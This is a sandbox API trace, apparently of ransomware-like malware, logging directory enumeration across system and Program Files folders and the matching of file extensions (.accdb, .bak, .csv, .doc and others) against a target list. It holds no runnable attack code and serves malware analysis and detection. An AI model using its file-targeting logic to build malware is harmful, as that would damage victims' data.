	[0205.581] FindNextFileW (in: hFindFile=0x6524d8, lpFindFileData=0x3a3fa7c | out: lpFindFileData=0x3a3fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1036, dwReserved1=0xffffca44, cFileName="pt-BR", cAlternateFileName="")) returned 1
	[0205.581] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x43f0050 | out: hHeap=0x560000) returned 1
	[0205.581] FindNextFileW (in: hFindFile=0x6524d8, lpFindFileData=0x3a3fa7c | out: lpFindFileData=0x3a3fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1036, dwReserved1=0xffffca44, cFileName="pt-PT", cAlternateFileName="")) returned 1
	[0205.581] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x43f0050 | out: hHeap=0x560000) returned 1
	[0205.581] FindNextFileW (in: hFindFile=0x6524d8, lpFindFileData=0x3a3fa7c | out: lpFindFileData=0x3a3fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1036, dwReserved1=0xffffca44, cFileName="qps-ploc", cAlternateFileName="")) returned 1
	[0205.582] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x43f0050 | out: hHeap=0x560000) returned 1
	[0205.582] FindNextFileW (in: hFindFile=0x6524d8, lpFindFileData=0x3a3fa7c | out: lpFindFileData=0x3a3fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1036, dwReserved1=0xffffca44, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1
	[0205.582] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x4402068 | out: hHeap=0x560000) returned 1
	[0205.582] FindNextFileW (in: hFindFile=0x652618, lpFindFileData=0x3a3f800 | out: lpFindFileData=0x3a3f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0
	[0205.583] FindClose (in: hFindFile=0x652618 | out: hFindFile=0x652618) returned 1
	[0205.583] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x43f0050 | out: hHeap=0x560000) returned 1
	[0205.583] FindNextFileW (in: hFindFile=0x6524d8, lpFindFileData=0x3a3fa7c | out: lpFindFileData=0x3a3fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1036, dwReserved1=0xffffca44, cFileName="ro-RO", cAlternateFileName="")) returned 1
	[0205.584] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x43f0050 | out: hHeap=0x560000) returned 1
	[0205.584] FindNextFileW (in: hFindFile=0x6524d8, lpFindFileData=0x3a3fa7c | out: lpFindFileData=0x3a3fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1036, dwReserved1=0xffffca44, cFileName="ru-RU", cAlternateFileName="")) returned 1
	[0205.584] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x43f0050 | out: hHeap=0x560000) returned 1
	[0205.584] FindNextFileW (in: hFindFile=0x6524d8, lpFindFileData=0x3a3fa7c | out: lpFindFileData=0x3a3fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1036, dwReserved1=0xffffca44, cFileName="sk-SK", cAlternateFileName="")) returned 1
	[0205.585] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x43f0050 | out: hHeap=0x560000) returned 1
	[0205.585] FindNextFileW (in: hFindFile=0x6524d8, lpFindFileData=0x3a3fa7c | out: lpFindFileData=0x3a3fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1036, dwReserved1=0xffffca44, cFileName="sl-SI", cAlternateFileName="")) returned 1
	[0205.585] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x43f0050 | out: hHeap=0x560000) returned 1
	[0205.585] FindNextFileW (in: hFindFile=0x6524d8, lpFindFileData=0x3a3fa7c | out: lpFindFileData=0x3a3fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1036, dwReserved1=0xffffca44, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1
	[0205.585] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x43f0050 | out: hHeap=0x560000) returned 1
	[0205.585] FindNextFileW (in: hFindFile=0x6524d8, lpFindFileData=0x3a3fa7c | out: lpFindFileData=0x3a3fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1036, dwReserved1=0xffffca44, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~2")) returned 1
	[0205.585] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x43f0050 | out: hHeap=0x560000) returned 1
	[0205.585] FindNextFileW (in: hFindFile=0x6524d8, lpFindFileData=0x3a3fa7c | out: lpFindFileData=0x3a3fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1036, dwReserved1=0xffffca44, cFileName="sv-SE", cAlternateFileName="")) returned 1
	[0205.586] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x43f0050 | out: hHeap=0x560000) returned 1
	[0205.586] FindNextFileW (in: hFindFile=0x6524d8, lpFindFileData=0x3a3fa7c | out: lpFindFileData=0x3a3fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1036, dwReserved1=0xffffca44, cFileName="tr-TR", cAlternateFileName="")) returned 1
	[0205.586] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x43f0050 | out: hHeap=0x560000) returned 1
	[0205.586] FindNextFileW (in: hFindFile=0x6524d8, lpFindFileData=0x3a3fa7c | out: lpFindFileData=0x3a3fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1036, dwReserved1=0xffffca44, cFileName="uk-UA", cAlternateFileName="")) returned 1
	[0205.586] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x43f0050 | out: hHeap=0x560000) returned 1
	[0205.586] FindNextFileW (in: hFindFile=0x6524d8, lpFindFileData=0x3a3fa7c | out: lpFindFileData=0x3a3fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef6c9427, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef6c9427, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1236, dwReserved0=0x1036, dwReserved1=0xffffca44, cFileName="updaterevokesipolicy.p7b", cAlternateFileName="UPDATE~1.P7B")) returned 1
	[0205.586] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x43f0050 | out: hHeap=0x560000) returned 1
	[0205.586] FindNextFileW (in: hFindFile=0x6524d8, lpFindFileData=0x3a3fa7c | out: lpFindFileData=0x3a3fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x518ea25e, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1036, dwReserved1=0xffffca44, cFileName="zh-HK", cAlternateFileName="")) returned 1
	[0205.587] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x43f0050 | out: hHeap=0x560000) returned 1
	[0205.587] FindNextFileW (in: hFindFile=0x6524d8, lpFindFileData=0x3a3fa7c | out: lpFindFileData=0x3a3fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1036, dwReserved1=0xffffca44, cFileName="zh-TW", cAlternateFileName="")) returned 1
	[0205.588] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x43f0050 | out: hHeap=0x560000) returned 1
	[0205.588] FindNextFileW (in: hFindFile=0x6524d8, lpFindFileData=0x3a3fa7c | out: lpFindFileData=0x3a3fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1036, dwReserved1=0xffffca44, cFileName="zh-TW", cAlternateFileName="")) returned 0
	[0205.588] FindClose (in: hFindFile=0x6524d8 | out: hFindFile=0x6524d8) returned 1
	[0205.588] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x43e0048 | out: hHeap=0x560000) returned 1
	[0205.588] FindNextFileW (in: hFindFile=0x652898, lpFindFileData=0x3a3fcf8 | out: lpFindFileData=0x3a3fcf8*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xe47a48a8, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfb90936b, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0x607da, dwReserved0=0x77a40000, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1
	[0205.590] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x4402068 | out: hHeap=0x560000) returned 1
	[0205.590] FindNextFileW (in: hFindFile=0x652898, lpFindFileData=0x3a3fcf8 | out: lpFindFileData=0x3a3fcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ESD", cAlternateFileName="")) returned 1
	[0205.593] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x4402068 | out: hHeap=0x560000) returned 1
	[0205.593] FindNextFileW (in: hFindFile=0x652898, lpFindFileData=0x3a3fcf8 | out: lpFindFileData=0x3a3fcf8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x7ef2dddf, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x7ef2dddf, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xf8074550, ftLastWriteTime.dwHighDateTime=0x1d5638a, nFileSizeHigh=0x0, nFileSizeLow=0x332fe000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1
	[0205.599] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x4402068 | out: hHeap=0x560000) returned 1
	[0205.600] FindNextFileW (in: hFindFile=0x652898, lpFindFileData=0x3a3fcf8 | out: lpFindFileData=0x3a3fcf8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6e97b025, ftCreationTime.dwHighDateTime=0x1d3275c, ftLastAccessTime.dwLowDateTime=0x6e97b025, ftLastAccessTime.dwHighDateTime=0x1d3275c, ftLastWriteTime.dwLowDateTime=0xf9ec381b, ftLastWriteTime.dwHighDateTime=0x1d5638a, nFileSizeHigh=0x0, nFileSizeLow=0x28000000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1
	[0205.600] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x4402068 | out: hHeap=0x560000) returned 1
	[0205.600] FindNextFileW (in: hFindFile=0x652898, lpFindFileData=0x3a3fcf8 | out: lpFindFileData=0x3a3fcf8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x8357eca8, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8357eca8, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1
	[0205.601] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x43f0050 | out: hHeap=0x560000) returned 1
	[0205.601] FindNextFileW (in: hFindFile=0x652998, lpFindFileData=0x3a3f800 | out: lpFindFileData=0x3a3f800*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa04663f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft shared", cAlternateFileName="MICROS~1")) returned 1
	[0205.603] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5dcd80, Size=0x4000) returned 0x3e57e30
	[0205.603] FindNextFileW (in: hFindFile=0x652418, lpFindFileData=0x3a3f308 | out: lpFindFileData=0x3a3f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80cbb8b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80cbb8b2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1b6c4400, ftLastWriteTime.dwHighDateTime=0x1d098bf, nFileSizeHigh=0x0, nFileSizeLow=0xeb2a8, dwReserved0=0xc49, dwReserved1=0xe37, cFileName="msvcr120.dll", cAlternateFileName="")) returned 1
	[0205.603] lstrlenW (lpString="msvcr120.dll") returned 12
	[0205.603] lstrlenW (lpString=".1cd") returned 4
	[0205.603] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0205.603] lstrlenW (lpString=".3ds") returned 4
	[0205.603] lstrcmpiW (lpString1=".3ds", lpString2=".dll") returned -1
	[0205.603] lstrlenW (lpString=".3fr") returned 4
	[0205.603] lstrcmpiW (lpString1=".3fr", lpString2=".dll") returned -1
	[0205.603] lstrlenW (lpString=".3g2") returned 4
	[0205.603] lstrcmpiW (lpString1=".3g2", lpString2=".dll") returned -1
	[0205.603] lstrlenW (lpString=".3gp") returned 4
	[0205.603] lstrcmpiW (lpString1=".3gp", lpString2=".dll") returned -1
	[0205.604] lstrlenW (lpString=".7z") returned 3
	[0205.604] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0205.604] lstrlenW (lpString=".accda") returned 6
	[0205.604] lstrcmpiW (lpString1=".accda", lpString2="20.dll") returned -1
	[0205.604] lstrlenW (lpString=".accdb") returned 6
	[0205.604] lstrcmpiW (lpString1=".accdb", lpString2="20.dll") returned -1
	[0205.604] lstrlenW (lpString=".accdc") returned 6
	[0205.604] lstrcmpiW (lpString1=".accdc", lpString2="20.dll") returned -1
	[0205.604] lstrlenW (lpString=".accde") returned 6
	[0205.604] lstrcmpiW (lpString1=".accde", lpString2="20.dll") returned -1
	[0205.604] lstrlenW (lpString=".accdt") returned 6
	[0205.604] lstrcmpiW (lpString1=".accdt", lpString2="20.dll") returned -1
	[0205.604] lstrlenW (lpString=".accdw") returned 6
	[0205.604] lstrcmpiW (lpString1=".accdw", lpString2="20.dll") returned -1
	[0205.604] lstrlenW (lpString=".adb") returned 4
	[0205.604] lstrcmpiW (lpString1=".adb", lpString2=".dll") returned -1
	[0205.604] lstrlenW (lpString=".adp") returned 4
	[0205.604] lstrcmpiW (lpString1=".adp", lpString2=".dll") returned -1
	[0205.604] lstrlenW (lpString=".ai") returned 3
	[0205.604] lstrcmpiW (lpString1=".ai", lpString2="dll") returned -1
	[0205.604] lstrlenW (lpString=".ai3") returned 4
	[0205.604] lstrcmpiW (lpString1=".ai3", lpString2=".dll") returned -1
	[0205.604] lstrlenW (lpString=".ai4") returned 4
	[0205.604] lstrcmpiW (lpString1=".ai4", lpString2=".dll") returned -1
	[0205.604] lstrlenW (lpString=".ai5") returned 4
	[0205.604] lstrcmpiW (lpString1=".ai5", lpString2=".dll") returned -1
	[0205.604] lstrlenW (lpString=".ai6") returned 4
	[0205.604] lstrcmpiW (lpString1=".ai6", lpString2=".dll") returned -1
	[0205.604] lstrlenW (lpString=".ai7") returned 4
	[0205.604] lstrcmpiW (lpString1=".ai7", lpString2=".dll") returned -1
	[0205.604] lstrlenW (lpString=".ai8") returned 4
	[0205.604] lstrcmpiW (lpString1=".ai8", lpString2=".dll") returned -1
	[0205.604] lstrlenW (lpString=".anim") returned 5
	[0205.604] lstrcmpiW (lpString1=".anim", lpString2="0.dll") returned -1
	[0205.605] lstrlenW (lpString=".arw") returned 4
	[0205.605] lstrcmpiW (lpString1=".arw", lpString2=".dll") returned -1
	[0205.605] lstrlenW (lpString=".as") returned 3
	[0205.605] lstrcmpiW (lpString1=".as", lpString2="dll") returned -1
	[0205.605] lstrlenW (lpString=".asa") returned 4
	[0205.605] lstrcmpiW (lpString1=".asa", lpString2=".dll") returned -1
	[0205.605] lstrlenW (lpString=".asc") returned 4
	[0205.605] lstrcmpiW (lpString1=".asc", lpString2=".dll") returned -1
	[0205.605] lstrlenW (lpString=".ascx") returned 5
	[0205.605] lstrcmpiW (lpString1=".ascx", lpString2="0.dll") returned -1
	[0205.605] lstrlenW (lpString=".asm") returned 4
	[0205.605] lstrcmpiW (lpString1=".asm", lpString2=".dll") returned -1
	[0205.605] lstrlenW (lpString=".asmx") returned 5
	[0205.605] lstrcmpiW (lpString1=".asmx", lpString2="0.dll") returned -1
	[0205.605] lstrlenW (lpString=".asp") returned 4
	[0205.605] lstrcmpiW (lpString1=".asp", lpString2=".dll") returned -1
	[0205.605] lstrlenW (lpString=".aspx") returned 5
	[0205.605] lstrcmpiW (lpString1=".aspx", lpString2="0.dll") returned -1
	[0205.605] lstrlenW (lpString=".asr") returned 4
	[0205.605] lstrcmpiW (lpString1=".asr", lpString2=".dll") returned -1
	[0205.605] lstrlenW (lpString=".asx") returned 4
	[0205.605] lstrcmpiW (lpString1=".asx", lpString2=".dll") returned -1
	[0205.605] lstrlenW (lpString=".avi") returned 4
	[0205.605] lstrcmpiW (lpString1=".avi", lpString2=".dll") returned -1
	[0205.605] lstrlenW (lpString=".avs") returned 4
	[0205.605] lstrcmpiW (lpString1=".avs", lpString2=".dll") returned -1
	[0205.605] lstrlenW (lpString=".backup") returned 7
	[0205.605] lstrcmpiW (lpString1=".backup", lpString2="120.dll") returned -1
	[0205.605] lstrlenW (lpString=".bak") returned 4
	[0205.605] lstrcmpiW (lpString1=".bak", lpString2=".dll") returned -1
	[0205.605] lstrlenW (lpString=".bay") returned 4
	[0205.605] lstrcmpiW (lpString1=".bay", lpString2=".dll") returned -1
	[0205.605] lstrlenW (lpString=".bd") returned 3
	[0205.605] lstrcmpiW (lpString1=".bd", lpString2="dll") returned -1
	[0205.605] lstrlenW (lpString=".bin") returned 4
	[0205.606] lstrcmpiW (lpString1=".bin", lpString2=".dll") returned -1
	[0205.606] lstrlenW (lpString=".bmp") returned 4
	[0205.606] lstrcmpiW (lpString1=".bmp", lpString2=".dll") returned -1
	[0205.606] lstrlenW (lpString=".bz2") returned 4
	[0205.606] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0205.606] lstrlenW (lpString=".c") returned 2
	[0205.606] lstrcmpiW (lpString1=".c", lpString2="ll") returned -1
	[0205.606] lstrlenW (lpString=".cdr") returned 4
	[0205.606] lstrcmpiW (lpString1=".cdr", lpString2=".dll") returned -1
	[0205.606] lstrlenW (lpString=".cer") returned 4
	[0205.606] lstrcmpiW (lpString1=".cer", lpString2=".dll") returned -1
	[0205.606] lstrlenW (lpString=".cf") returned 3
	[0205.606] lstrcmpiW (lpString1=".cf", lpString2="dll") returned -1
	[0205.606] lstrlenW (lpString=".cfc") returned 4
	[0205.606] lstrcmpiW (lpString1=".cfc", lpString2=".dll") returned -1
	[0205.606] lstrlenW (lpString=".cfm") returned 4
	[0205.606] lstrcmpiW (lpString1=".cfm", lpString2=".dll") returned -1
	[0205.606] lstrlenW (lpString=".cfml") returned 5
	[0205.606] lstrcmpiW (lpString1=".cfml", lpString2="0.dll") returned -1
	[0205.606] lstrlenW (lpString=".cfu") returned 4
	[0205.606] lstrcmpiW (lpString1=".cfu", lpString2=".dll") returned -1
	[0205.606] lstrlenW (lpString=".chm") returned 4
	[0205.606] lstrcmpiW (lpString1=".chm", lpString2=".dll") returned -1
	[0205.606] lstrlenW (lpString=".cin") returned 4
	[0205.606] lstrcmpiW (lpString1=".cin", lpString2=".dll") returned -1
	[0205.606] lstrlenW (lpString=".class") returned 6
	[0205.606] lstrcmpiW (lpString1=".class", lpString2="20.dll") returned -1
	[0205.606] lstrlenW (lpString=".clx") returned 4
	[0205.606] lstrcmpiW (lpString1=".clx", lpString2=".dll") returned -1
	[0205.606] lstrlenW (lpString=".config") returned 7
	[0205.606] lstrcmpiW (lpString1=".config", lpString2="120.dll") returned -1
	[0205.606] lstrlenW (lpString=".cpp") returned 4
	[0205.606] lstrcmpiW (lpString1=".cpp", lpString2=".dll") returned -1
	[0205.606] lstrlenW (lpString=".cr2") returned 4
	[0205.607] lstrcmpiW (lpString1=".cr2", lpString2=".dll") returned -1
	[0205.607] lstrlenW (lpString=".crt") returned 4
	[0205.607] lstrcmpiW (lpString1=".crt", lpString2=".dll") returned -1
	[0205.607] lstrlenW (lpString=".crw") returned 4
	[0205.607] lstrcmpiW (lpString1=".crw", lpString2=".dll") returned -1
	[0205.607] lstrlenW (lpString=".cs") returned 3
	[0205.607] lstrcmpiW (lpString1=".cs", lpString2="dll") returned -1
	[0205.607] lstrlenW (lpString=".css") returned 4
	[0205.607] lstrcmpiW (lpString1=".css", lpString2=".dll") returned -1
	[0205.607] lstrlenW (lpString=".csv") returned 4
	[0205.607] lstrcmpiW (lpString1=".csv", lpString2=".dll") returned -1
	[0205.607] lstrlenW (lpString=".cub") returned 4
	[0205.607] lstrcmpiW (lpString1=".cub", lpString2=".dll") returned -1
	[0205.607] lstrlenW (lpString=".dae") returned 4
	[0205.607] lstrcmpiW (lpString1=".dae", lpString2=".dll") returned -1
	[0205.607] lstrlenW (lpString=".dat") returned 4
	[0205.607] lstrcmpiW (lpString1=".dat", lpString2=".dll") returned -1
	[0205.607] lstrlenW (lpString=".db") returned 3
	[0205.607] lstrcmpiW (lpString1=".db", lpString2="dll") returned -1
	[0205.607] lstrlenW (lpString=".dbf") returned 4
	[0205.607] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0205.607] lstrlenW (lpString=".dbx") returned 4
	[0205.607] lstrcmpiW (lpString1=".dbx", lpString2=".dll") returned -1
	[0205.607] lstrlenW (lpString=".dc3") returned 4
	[0205.607] lstrcmpiW (lpString1=".dc3", lpString2=".dll") returned -1
	[0205.607] lstrlenW (lpString=".dcm") returned 4
	[0205.607] lstrcmpiW (lpString1=".dcm", lpString2=".dll") returned -1
	[0205.607] lstrlenW (lpString=".dcr") returned 4
	[0205.607] lstrcmpiW (lpString1=".dcr", lpString2=".dll") returned -1
	[0205.607] lstrlenW (lpString=".der") returned 4
	[0205.607] lstrcmpiW (lpString1=".der", lpString2=".dll") returned -1
	[0205.607] lstrlenW (lpString=".dib") returned 4
	[0205.607] lstrcmpiW (lpString1=".dib", lpString2=".dll") returned -1
	[0205.607] lstrlenW (lpString=".dic") returned 4
	[0205.608] lstrcmpiW (lpString1=".dic", lpString2=".dll") returned -1
	[0205.802] lstrlenW (lpString=".dif") returned 4
	[0205.802] lstrcmpiW (lpString1=".dif", lpString2=".dll") returned -1
	[0205.802] lstrlenW (lpString=".divx") returned 5
	[0205.802] lstrcmpiW (lpString1=".divx", lpString2="0.dll") returned -1
	[0205.802] lstrlenW (lpString=".djvu") returned 5
	[0205.802] lstrcmpiW (lpString1=".djvu", lpString2="0.dll") returned -1
	[0205.802] lstrlenW (lpString=".dng") returned 4
	[0205.802] lstrcmpiW (lpString1=".dng", lpString2=".dll") returned 1
	[0205.802] lstrlenW (lpString=".doc") returned 4
	[0205.802] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
